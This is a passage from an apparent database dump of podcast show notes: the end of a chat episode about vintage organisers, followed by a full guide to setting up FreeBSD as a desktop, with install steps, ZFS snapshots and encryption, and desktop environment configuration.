href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a> at work in the early days of organisers, but it was not particularly useful.</li>\n<li>MrX had an <a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a>. He describes it as: <em>a dreadful machine running DOS 2.11<br />\nIt regularly crashed, losing all its memory. I decided to ditch it after having to type out my contacts list every time it crashed.</em></li>\n<li>MrX also had a <a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a>, an <em>Internet Tablet</em> running Linux.</li>\n<li>Dave couldn’t quite remember at the time of recording, but he bought a used <a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a> on eBay, which was the predecessor of the N810. This was also a Linux-based system, but it didn’t last more than a couple of weeks sadly.</li>\n<li>Both bought - and still have - the <a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a>. Dave’s is the 1005HA model.\n<ul>\n<li>MrX still uses his from time to time</li>\n<li>Dave is thinking about installing a BSD flavour on his, but doesn’t use it often. It currently has <em>CrunchBang</em> installed.</li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>:\n<ul>\n<li>Dave runs it on his desktop (and laptop) as well as two phones. The phones run KDE Connect and are configured to tell the desktop when a message arrives!</li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR New Year show:\n<ul>\n<li><em>HonkeyMagoo</em> (of the <a href=\"https://linuxlugcast.com/index.php/category/podcast/\">Linux LUGCast podcast</a>) does a lot of the work with the recording in conjunction with Ken. He divides up the audio into shows, and in past years has prepared show notes.</li>\n<li>This year a LUGCast listener <em>HPLovecraft</em> did the notes, and they are very good!</li>\n</ul></li>\n</ul>\n<h2 id=\"postscript\">Postscript</h2>\n<p>MrX found the <em>Easter Egg</em>, mentioned during our chat, on his Psion Series 3C, recorded it via Audacity, and sent me the resulting <em>Easter Ogg</em>! It has been appended to the main recording.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Various Wikipedia links:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stock Bridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees on the coast of Cumbria, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\">Harling wall covering (aka rough-cast)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh, a traditional Scottish social gathering</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Book:\n<ul>\n<li><a href=\"https://www.wiley.com/en-gb/How+the+Immune+System+Works,+6th+Edition-p-9781119542124\">How the Immune System Works, Lauren Sompayrac, ISBN 9781119542124</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/2022/08/10/the-strangest-feeling/\">Item mentioned in the blog</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Organisers (all Wikipedia links):\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion 3a Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Instant Messaging:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>\n<ul>\n<li>Owned by a Russian billionaire.</li>\n</ul></li>\n</ul></li>\n</ul>\n<section class=\"footnotes\" role=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>Donkey Lane is a public right of way, possibly since the 1700’s. It starts as a pedestrian-only pathway then turns into a narrow tarmac-covered roadway with a pedestrian-only railway crossing.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,0,1,'CC-BY-SA','chat, old technology, organiser',0,0,1),
(3705,'2022-10-14','The Year of the FreeBSD Desktop',4155,'I talk about configuring FreeBSD as a desktop OS and give tips for those coming from Linux','<h1 id=\"getting-an-installer\">Getting an installer</h1>\n<p><a href=\"https://www.freebsd.org/where/\">Link to FreeBSD downloads</a></p>\n<p>Choose the correct arch for your system. amd64 is probably the one you want if you know nothing about computer architectures.</p>\n<p>you will have a lot of options:</p>\n<ul>\n<li>*-bootonly.iso is a netinstall image that is for burning to a CD</li>\n<li>*-disc1.iso is a supplementary CD image for *-bootonly.iso</li>\n<li>*-dvd1.iso is a complete DVD image with extra packages</li>\n<li>*-memstick.img is a complete image for burning to a USB stick</li>\n<li>*-mini-memstick.img is a netinstall image for burning to a USB stick</li>\n</ul>\n<p>I typically download and use one of the compressed memstick images. The mini image is fine but you probably want the regular memstick image if this is the first time you\'ve ever installed FreeBSD. It alleviates some of the stress that comes with installing wireless drivers.</p>\n<p>To burn a memstick image, use the <code>disk destroyer</code> program:</p>\n<pre class=\"sh\"><code>root@fbsd# xunz FreeBSD-13.1-RELEASE-amd64-memestick.img.xz\nroot@fbsd# sudo dd if=./FreeBSD-13.1-RELEASE-amd64-memestick.img of=/dev/sdx status=progress\nroot@fbsd# sudo eject /dev/sdx\n</code></pre>\n<hr />\n<h1 id=\"initial-installation\">Initial installation</h1>\n<h2 id=\"pre-installation\">pre-installation</h2>\n<p>The standard steps for installing Linux apply:</p>\n<ol>\n<li>disable secure boot</li>\n<li>enable USB booting</li>\n<li>select boot device at startup time</li>\n</ol>\n<p>Because this is hardware specific, it\'s a homework assignment for the audience.</p>\n<h2 id=\"installation\">Installation</h2>\n<p>FreeBSD has a menu driven installer that walks the user through various steps:</p>\n<h3 id=\"1-set-keymap-leave-default-if-you-dont-know\">1. set keymap (leave default if you don\'t know)</h3>\n<h3 id=\"2-set-hostname\">2. set hostname</h3>\n<h3 id=\"3-select-sets\">3. select sets</h3>\n<p>There are many sets to choose from. New users probably want to install all of them. I typically only install the <code>lib32</code> set and add the rest later.</p>\n<h3 id=\"4-partitioning\">4. Partitioning</h3>\n<p><code>bsdinstall</code> makes it easy to partition your drives. The <code>Auto(ZFS)</code> option is probably what you want as the default UFS configuration is unjournaled.</p>\n<p>In the <code>Auto(ZFS)</code> menu, for a single hard drive installation, you want to stripe one disk. Select your hard drive.</p>\n<p>If you want full disk encryption, select the <code>Encrypt Disks</code> option.</p>\n<p>You also want to bump up the swap size to <code>ram*1.5</code> as a general rule (so, for 4g of ram you will set 6g of swap, for 8g or ram you set 12g swap). If you selected <code>Encrypt Disks</code>, you should also select <code>Encrypt Swap</code></p>\n<p>When you are done, proceed with the installation. You will gt a confirmation message asking if you want to destroy the disk(s) you selected. This is your last chance to go back.</p>\n<p>If you selected <code>Encrypt Disks</code>, you will be presented with a password prompt. This is the disk encryption password, not any user password.</p>\n<h3 id=\"5-wait-for-sets-to-install\">5. Wait for sets to install</h3>\n<h3 id=\"6-configure-root-user\">6. Configure root user</h3>\n<p>After the sets are installed, you will set a root password.</p>\n<h3 id=\"7-network-config\">7. Network Config</h3>\n<p>If your wireless card is supported, all the hard parts are already done for you. If your wireless card is not supported, you might need to plug in an ethernet cable and compile the drivers into the kernel.</p>\n<p>Select your card (<code>em*</code> is ethernet, wifi cards are named after their drivers)</p>\n<p>If you choose wifi, the installer will scan for networks and give you a menu to select one. If the network is encrypted, you will be presented with a password prompt.</p>\n<h3 id=\"8-time-and-date-setup\">8. Time and date setup</h3>\n<h3 id=\"9-service-setup\">9. Service setup</h3>\n<p>You will be presented with a menu that enables/disables services on system startup. You probably want all of them except <code>local_unbound</code>.</p>\n<h3 id=\"10-security-config\">10. Security config</h3>\n<p>The next menu enables/disables security features. If nothing else, select <code>disable_sendmail</code> and <code>clear_tmp</code></p>\n<h3 id=\"11-add-users\">11. Add users</h3>\n<p>Simply add your user. You might want to add him to the wheel group if you plan on using sudo. I set my shell to tcsh but you can always change this later. A</p>\n<h3 id=\"12-final-configuration\">12. Final configuration</h3>\n<p>You may want to install the handbook or modify any configurations you\'ve made so far. This will take some time. When you are done, apply the config and exit.</p>\n<h3 id=\"13-manual-config\">13. Manual config</h3>\n<p>Before you reboot the system and exit the installer, you are given a last opportunity to make any manual configurations. This is rarely needed for the average desktop user.</p>\n<h2 id=\"post-installation\">Post installation</h2>\n<blockquote>\n<p>What, no GUI?</p>\n</blockquote>\n<h3 id=\"update-system\">Update system</h3>\n<p>Login as root and update the system:</p>\n<pre class=\"sh\"><code>root@fbsd# freebsd-update fetch\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h3 id=\"installing-packages\">Installing packages</h3>\n<p>Before we begin modifying the system, we need a better editor.</p>\n<p>The <code>pkg</code> utility is used in a nearly identical way to any Linux package manager. The syntax <code>pkg $verb $object</code> persists. Verbs include <code>install</code>, <code>remove</code>, <code>update</code>, <code>upgrade</code>, <code>search</code>, etc.</p>\n<p>Because the only editors installed by default are <code>vi</code>, <code>ed</code>, and <code>ee</code>, let\'s install vim.</p>\n<p>There are multiple vim flavors, I like vim-tiny.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg bootstrap\nroot@fbsd# pkg update\nroot@fbsd# pkg search vim\nroot@fbsd# pkg install vim-tiny\n</code></pre>\n<p>We probably want sudo (or doas) also:</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install sudo\nroot@fbsd# visudo\n</code></pre>\n<p>Find the line that says:</p>\n<pre class=\"sh\"><code># %wheel ALL=(ALL:ALL) ALL\n</code></pre>\n<p>and move the <code># </code> from the beginning of the line to enable the wheel group to do actions as root.</p>\n<h3 id=\"bootloader-tweaks\">Bootloader tweaks</h3>\n<p>We can tweak the bootloader to make the system more desktop-like. Edit <code>/boot/loader.conf</code></p>\n<pre class=\"sh\"><code># /boot/loader.conf\n# -----------------\n[ lots of default stuff ]\n\n# custom stuff\n\n# boot faster\nautoboot_delay=2\n</code></pre>\n<p>Refer to <code>loader.conf(5)</code> for more tweaks and <code>/boot/defaults/loader.conf</code> for examples.</p>\n<h3 id=\"init-tweaks\">init tweaks</h3>\n<p>We can tweak the init system also. Edit <code>/etc/rc.conf</code></p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of default stuff ]\n\n# enable graphics\nkld_list=&quot;i915kms&quot;\n\n# faster booting\nbackground_dhclient=&quot;YES&quot;\n</code></pre>\n<p>See <code>rc.conf(5)</code> and <code>/etc/defaults/rc.conf</code> for more information on what you can do.</p>\n<h3 id=\"snapshotting-a-sane-fresh-installation\">Snapshotting a sane fresh installation</h3>\n<p>At this point, it is wise to take a recursive snapshot of your FreeBSD installation. This provides us with an easy way to roll back to a fresh, known working system configuration.</p>\n<pre class=\"sh\"><code>root@fbsd# zfs snapshot -r zroot@freshinstall\nroot@fbsd# zfs list - tsnapshot\n</code></pre>\n<p>If the system becomes unrepairable, we can simply rollback instead of reinstalling with a simple command:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs rollback -r zroot@freshinstall\n</code></pre>\n<p>To rollback every dataset, we can use xargs:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs list -t snapshot | grep freshinstall | cut -d &#39; &#39; -f 1 | xargs -I % zfs rollback %\n</code></pre>\n<p>Using zfs snapshots before and after making any potentially dangerous configuration changes saves a lot of headache in the long run because zfs is accessible from the recovery shell. Rollback with caution, user data may be lost.</p>\n<p>Homework assignment: write a series of cron jobs that automatically takes snapshots (and cleans up the old ones) of user data as a form of <em>last line of defense version control</em></p>\n<hr />\n<h1 id=\"graphical-user-interfaces\">Graphical user interfaces</h1>\n<h2 id=\"install-graphics-drivers\">Install graphics drivers</h2>\n<p>This varies depending on your GPU.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install drm-kmod\n</code></pre>\n<p>After installing this package, you will see a message on how to enable the driver for your specific hardware:</p>\n<pre class=\"sh\"><code>For amdgpu: kld_list=&quot;amdgpu&quot;\nFor Intel: kld_list=&quot;i915kms&quot;\nFor radeonkms: kld_list=&quot;radeonkms&quot;\n</code></pre>\n<p>To enable one of these, you will need to add a line to your <code>/etc/rc.conf</code>. The earlier you place this line in the file, the sooner the kmods will load. For intel graphics, for example, you will add the following line:</p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of other stuff ]\n\n# intel graphics drivers\nkld_list=&quot;i915kms&quot;\n</code></pre>\n<p>To load the kmod on the fly (for larger resolution vt), run:</p>\n<pre class=\"sh\"><code>root@fbsd# kldload i915kms\n</code></pre>\n<p>You will also need to add your non-root user to the <code>video</code> group.</p>\n<pre class=\"sh\"><code>root@fbsd# pw groupmod video -m $user\n</code></pre>\n<h2 id=\"audio\">Audio</h2>\n<p>(hopefully) audio will just work. Supported audio interfaces are enumerated in <code>man snd(4)</code> and details on enabling/disabling drivers in <code>/boot/lodaer.conf</code> are also explained.</p>\n<p>To manage volume, use the <code>mixer</code> command. For example, setting the mic volume to 50% and the speaker volume to 95%:</p>\n<pre class=\"sh\"><code>user@fbsd% mixer mic 50:50\nuser@fbsd% mixer vol 95:95\n</code></pre>\n<p>The <code>mixertui</code> command can also be used. This program functions similarly to <code>alsamixer</code> on Linux.</p>\n<p>Depending on your hardware, the volume keys on your keyboard might not work. Adding a keybinding to a shell script is the usual solution and should be familiar to anyone who uses a desktop free window manager.</p>\n<h2 id=\"getting-xorg\">Getting xorg</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg install xorg\n</code></pre>\n<p>The <code>twm</code> window manager is included with xorg by default. We can use it for testing our xorg configuration, mouse support, etc before continuing with larger desktop environments. Early troubleshooting always prevents foot shooting. Test early, test often.</p>\n<pre class=\"sh\"><code>root@fbsd# startx\n</code></pre>\n<h2 id=\"desktop-environments\">Desktop Environments</h2>\n<p>Refer to <a href=\"https://docs.freebsd.org/en/books/handbook/x11/#x11-wm\">The handbook\'s instructions on desktops</a> for instructions on non-suckless (ie suck<em>more</em> setups). I have tested some of them on FreeBSD. KDE and Xfce are reliable. GNOME is mostly reliable. If you are running a big DE, you might have to modify polkit rules to do things like reboot the system from the GUI. Many larger desktops rely on FreeDesktop.org components. I personally do not like dbus so instead I use the suckless tools.</p>\n<p>But, for the sake of completeness, I will install a few for the masses. I installed each one of these independently and sequentially on the same system using zfs snapshots to roll back to a bare bones system without any DE installed.</p>\n<h3 id=\"gnome\">GNOME</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install gnome\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc gdm_enable=&quot;YES&quot;\nroot@fbsd# sysrc gnome_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/hpr3705/gnome-on-freebsd.png\"><img src=\"eps/hpr3705/hpr3705/gnome-on-freebsd_thumbnail.png\" alt=\"Gnome screenshot on FreeBSD\" /></a></p>\n<h3 id=\"kde\">KDE</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install kde5 sddm\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc sddm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/hpr3705/kde-on-freebsd.png\"><img src=\"eps/hpr3705/hpr3705/kde-on-freebsd_thumbnail.png\" alt=\"KDE screenshot on FreeBSD\" /></a></p>\n<h3 id=\"xfce\">Xfce</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install xfce xfce4-goodies\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\n</code></pre>\n<p>Xfce does not provide it\'s own login manager, unlike GNOME or KDE. Let\'s pick lightdm because it\'s small and the graphical toolkit matches Xfce.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install lightdm-gtk-greeter\nroot@fbsd# sysrc lightdm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n\n</code></pre>\n<p><a href=\"eps/hpr3705/hpr3705/xfce-on-freebsd.png\"><img src=\"eps/hpr3705/hpr3705/xfce-on-freebsd_thumbnail.png\" alt=\"Xfce screenshot on FreeBSD\" /></a></p>\n<h3 id=\"suckless\">Suckless</h3>\n<p><a href=\"https://suckless.org\">suckless: tools that suck less.</a></p>\n<p>This is how I use FreeBSD (and how I use most computers). I wrote a makefile that modifies the compile options so that the tools will build on FreeBSD and (optionally) adds the theme I use. <a href=\"https://gitlab.com/binrc/suckless\">You can find my suckless duct tape in this git repo</a>.</p>\n<p>I also use xdm because it\'s small and fast.</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install xdm\nuser@fbsd% sudo service xdm enable\n</code></pre>\n<p><a href=\"eps/hpr3705/hpr3705/suckless-on-freebsd.png\"><img src=\"eps/hpr3705/hpr3705/suckless-on-freebsd_thumbnail.png\" alt=\"Suckless screenshot on FreeBSD\" /></a></p>\n<h3 id=\"a-final-note-on-desktops\">A final note on desktops</h3>\n<p>Sometimes desktops behave unexpectedly on FreeBSD (ie users cannot manage power settings, reboot the system, etc). Make sure your login user is in the wheel group (it\'s your computer, you probably are already in the wheel group) and most of the issues will be resolved. For users you don\'t want in the wheel group, you\'ll need to write a few <code>polkit</code> rules.</p>\n<p>Additionally, big desktops are typically compiled without the graphical components for modifying network connections.</p>\n<p>Similar to Arch or Gentoo, there is a bit of legwork left to the end user. You\'ll never know what you might learn about systems administration if you don\'t wilfully give yourself the opportunity.</p>\n<h2 id=\"shell-tweaks\">Shell tweaks</h2>\n<p>I like colors in the shell for systems I use regularly. I also like aliases. We can modify our csh configuration file to automatically do the fancy for us.</p>\n<pre class=\"sh\"><code># ~/.cshrc\n# -----------------\n[ lots of stuff ]\n\n# prompt section\nif ($?prompt) then\n    # An interactive shell -- set some stuff up\n    #set prompt = &quot;%N@%m:%~ %# &quot;\n    #set prompt = &quot;%{\\033[31m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n    set prompt = &quot;%{\\033[1m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n    set promptchars = &quot;%#&quot;\n\n    set filec\n    set history = 1000\n    set savehist = (1000 merge)\n    set autolist = ambiguous\n    # Use history to aid expansion\n    set autoexpand\n    set autorehash\n    set mail = (/var/mail/$USER)\n\n    if ( $?tcsh ) then\n        bindkey &quot;^W&quot; backward-delete-word\n        bindkey -k up history-search-backward\n        bindkey -k down history-search-forwarrd\n        bindkey &quot;^R&quot; i-search-back\n    endif\nendif\n\n# alias section\nalias la    ls -aF\nalias lf    ls -FA\nalias ll    ls -lAF\nalias ls    ls -GF\nalias lc    ls -GF\n</code></pre>\n<h2 id=\"some-other-packages\">Some other packages</h2>\n<p>The things I like:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install firefox gimp feh mpv ffmpeg ImageMagick7 mutt newsboat\n</code></pre>\n<p>If you install a large DE, most of the applications are pulled in as well. If not, you can always use xargs to pull in hundreds of gigabytes of programs:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg search $desktop | cut -d &#39; &#39; -f 1 | xargs sudo pkg install -y\n</code></pre>\n<p>Going GNU:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install coreutils emacs bash gcc gmake\n</code></pre>\n<p>Do a few package searches. What you want is probably there. If not, time to start porting :)</p>\n<p>Once you have everything configured how you want it, it\'s a good time to take another zfs snapshot.</p>\n<hr />\n<h1 id=\"quickstart\">Quickstart</h1>\n<h2 id=\"init-system\">Init system</h2>\n<p>Instead of systemd, FreeBSD uses rc scripts for starting and stopping services. Everything is pretty much shell scripts. To modify the startup process, you simply edit <code>/etc/rc.conf</code> in a text editor.</p>\n<p>For <code>systemctl</code> like starting/stopping/enabling, you can do the following:</p>\n<pre class=\"sh\"><code>root@fbsd# service sshd enable\nroot@fbsd# service sshd start\nroot@fbsd# service sshd restart\nroot@fbsd# service sshd stop\nroot@fbsd# service sshd disable\nroot@fbsd# service sshd onestart\nroot@fbsd# service sshd status\n</code></pre>\n<p>Each service has it\'s own init file so sometimes a specific service might take different arguments than the standard ones you might expect.</p>\n<h2 id=\"networking\">Networking</h2>\n<p>Network interfaces are configured classically using <code>ifconfig(8)</code>. If you want a network interface to persist across reboots, you add the information in <code>/etc/rc.conf</code>.</p>\n<p>WiFi is managed with <code>wpa_supplicant</code>. Refer to <code>man wpa_supplicant.conf(8)</code> for more information.</p>\n<h2 id=\"firewall\">Firewall</h2>\n<p><a href=\"https://docs.freebsd.org/en/books/handbook/firewalls/#firewalls-pf\">use the pf firewall, I like it</a></p>\n<h2 id=\"general-upgrade-process\">General upgrade process</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update upgrade -r 13.1-RELEASE\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\nroot@fbsd# freebsd-update install\nroot@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h2 id=\"shells\">Shells</h2>\n<p>FreeBSD uses <code>tcsh(1)</code> as the default shell and includes <code>sh(1)</code> for bourne-like compatibility. You can install bash if you want.</p>\n<h2 id=\"package-management\">Package management</h2>\n<p>There are two primary ways of managing software: binary packages and ports. Don\'t mix them if you don\'t know what you\'re doing, it can cause problems.</p>\n<p>To be brief: ports are like Gentoo. You spend a lot of time watching compiler output. The following programs help: <code>synth</code>, <code>portmaster</code>, <code>poudriere</code>.</p>\n<p>to be verbose: here is a quick guide on using the binary package management system:</p>\n<pre class=\"sh\"><code>pkg update\npkg upgrade\npkg search foobar\npkg install foobar\npkg remove foobar\npkg autoremove\n</code></pre>\n<p>As you can see, the syntax is nearly identical to dnf or apt.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<p>The hierarchy of FreeBSD is slightly different than a typical Linux system. Refer to <code>man hier(7)</code> for more information.</p>\n<p>The biggest difference is that FreeBSD a logically organized system. For example: On Linux, everything seems to end up in <code>/bin</code> (which is a symlink to <code>/usr/bin</code>). Additionally, <code>/sbin</code> is just a symlink to <code>/usr/sbin</code>. On FreeBSD, the system is more organized. For example:</p>\n<p><code>/bin</code> contains everything required to boot the system and <code>/sbin</code> contains everything required for fundamental administration.</p>\n<p><code>/usr/bin</code> contains most everything else</p>\n<p><code>/usr/local</code> contains everything installed by the package management system.</p>\n<p>User installed programs are configured in <code>/usr/local/etc</code>. This might be confusing at first but you\'ll get the hang of it.</p>\n<p>This logical separation might cause confusion when compiling software from source on FreeBSD but it\'s not too difficult to solve if you already know how about linker options and makefile modification.</p>\n<p>As for filesystems, apparently ext2, ext3, and ext4 have read/write support using the <code>ext2fs(5)</code> driver. I probably wouldn\'t boot from them but this exists. UFS is not journaled by default, proceed with caution. ZFS is very good.</p>\n<h2 id=\"zfs-non-starter\">ZFS non-starter</h2>\n<p>ZFS is cool because we can create partitions on a whim. Here is some shell output demonstrating listing datasets, creating datasets with a quota, destroying datasets, creating and using encrypted datasets, etc.</p>\n<pre class=\"sh\"><code>root@freebsd:/ #\nroot@freebsd:/ # zfs list\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot                                      3.97G   434G       96K  /zroot\nzroot/ROOT                                 3.82G   434G       96K  none\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644     8K   434G     1.07G  /\nzroot/ROOT/default                         3.82G   434G     3.71G  /\nzroot/tmp                                   208K   434G      112K  /tmp\nzroot/usr                                   157M   434G       96K  /usr\nzroot/usr/home                              157M   434G      157M  /usr/home\nzroot/usr/ports                              96K   434G       96K  /usr/ports\nzroot/usr/src                                96K   434G       96K  /usr/src\nzroot/var                                  1.04M   434G       96K  /var\nzroot/var/audit                              96K   434G       96K  /var/audit\nzroot/var/crash                              96K   434G       96K  /var/crash\nzroot/var/log                               424K   434G      300K  /var/log\nzroot/var/mail                              192K   434G      128K  /var/mail\nzroot/var/tmp                               160K   434G       96K  /var/tmp\nroot@freebsd:/ # zfs list -t snapshot\nNAME                                                     USED  AVAIL     REFER  MOUNTPOINT\nzroot@freshinstall                                        64K      -       96K  -\nzroot/ROOT@freshinstall                                    0B      -       96K  -\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644@freshinstall     0B      -     1.07G  -\nzroot/ROOT/default@2022-09-18-14:36:44-0                76.7M      -     1.07G  -\nzroot/ROOT/default@freshinstall                         35.0M      -     1.21G  -\nzroot/tmp@freshinstall                                    96K      -      112K  -\nzroot/usr@freshinstall                                     0B      -       96K  -\nzroot/usr/home@freshinstall                               96K      -      128K  -\nzroot/usr/ports@freshinstall                               0B      -       96K  -\nzroot/usr/src@freshinstall                                 0B      -       96K  -\nzroot/var@freshinstall                                     0B      -       96K  -\nzroot/var/audit@freshinstall                               0B      -       96K  -\nzroot/var/crash@freshinstall                               0B      -       96K  -\nzroot/var/log@freshinstall                               124K      -      188K  -\nzroot/var/mail@freshinstall                               64K      -       96K  -\nzroot/var/tmp@freshinstall                                64K      -       96K  -\nroot@freebsd:/ # zfs create zroot/crypt\nroot@freebsd:/ # zfs set quota=5g zroot/crypt\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                  96K  5.00G       96K  /zroot/crypt\nroot@freebsd:/ # zfs destroy zroot/crypt\nroot@freebsd:/ # zfs create -o encryption=on -o keylocation=prompt -o keyformat=passphrase zroot/crypt\nEnter new passphrase:\nRe-enter new passphrase:\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                 200K   434G      200K  /zroot/crypt\nroot@freebsd:/ # touch /zroot/crypt/supersecret\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\nroot@freebsd:/ # zfs get encryption zroot/crypt\nNAME         PROPERTY    VALUE        SOURCE\nzroot/crypt  encryption  aes-256-gcm  -\nroot@freebsd:/ # zfs unmount zroot/crypt\nroot@freebsd:/ # zfs unload-key -r zroot/crypt\n1 / 1 key(s) successfully unloaded\nroot@freebsd:/ # zfs mount zroot/crypt\ncannot mount &#39;zroot/crypt&#39;: encryption key not loaded\nroot@freebsd:/ # zfs get keystats zroot/crypt\nroot@freebsd:/ # zfs get keystatus zroot/crypt\nNAME         PROPERTY   VALUE        SOURCE\nzroot/crypt  keystatus  unavailable  -\nroot@freebsd:/ # zfs load-key -r zroot/crypt\nEnter passphrase for &#39;zroot/crypt&#39;:\nzfs 1 / 1 key(s) successfully loaded\nroot@freebsd:/ # zfs mount -a\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\n</code></pre>\n<hr />\n<h1 id=\"a-conclusion\">A conclusion</h1>\n<p>Really, I think FreeBSD is a viable desktop operating system for the types of people who already use Linux in a terminal-centric capacity. After all, UNIX is UNIX.</p>\n<hr />\n<h1 id=\"other-stuff\">Other stuff</h1>\n<p><a href=\"https://wiki.freebsd.org/JailingGUIApplications\">Running Firefox inside of a jail</a></p>\n<p><a href=\"https://forums.freebsd.org/threads/how-to-execute-firefox-in-a-jail-using-iocage-and-ssh-jailme.53362/\">Another way to run Firefox inside of a jail</a></p>\n<h2 id=\"freebsd-distros-that-come-with-a-desktop-out-of-the-box\">FreeBSD Distros that come with a desktop out of the box:</h2>\n<p><a href=\"https://www.ghostbsd.org\">GhostBSD - FreeBSD with MATE</a></p>\n<p><a href=\"https://hellosystem.github.io\">HelloSystem - FreeBSD with an Apple-like GUI (still in development)</a></p>\n<p><a href=\"https://www.midnightbsd.org\">MidnightBSD - FreeBSD with Xfce and a different package management system</a></p>\n<p><a href=\"https://nomadbsd.org\">NomadBSD - Live GUI FreeBSD with OpenBoX</a></p>\n<hr />\n<h4>Additional Links</h4>\n<p> Linux to FreeBSD quick start: <br />\n<a href=\"https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/\" target=\"_blank\">https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/</a><br />\n<br />\nSupported hardware: <br />\n<a href=\"https://wiki.freebsd.org/Laptops\" target=\"_blank\">https://wiki.freebsd.org/Laptops</a><br />\n<a href=\"https://bsd-hardware.info/\" target=\"_blank\">https://bsd-hardware.info/</a><br />\n<a href=\"https://dmesgd.nycbug.org/index.cgi\" target=\"_blank\">https://dmesgd.nycbug.org/index.cgi</a></p>\n\n<p><small><small>Editor\'s Note: This section was included from the comment sent by <a 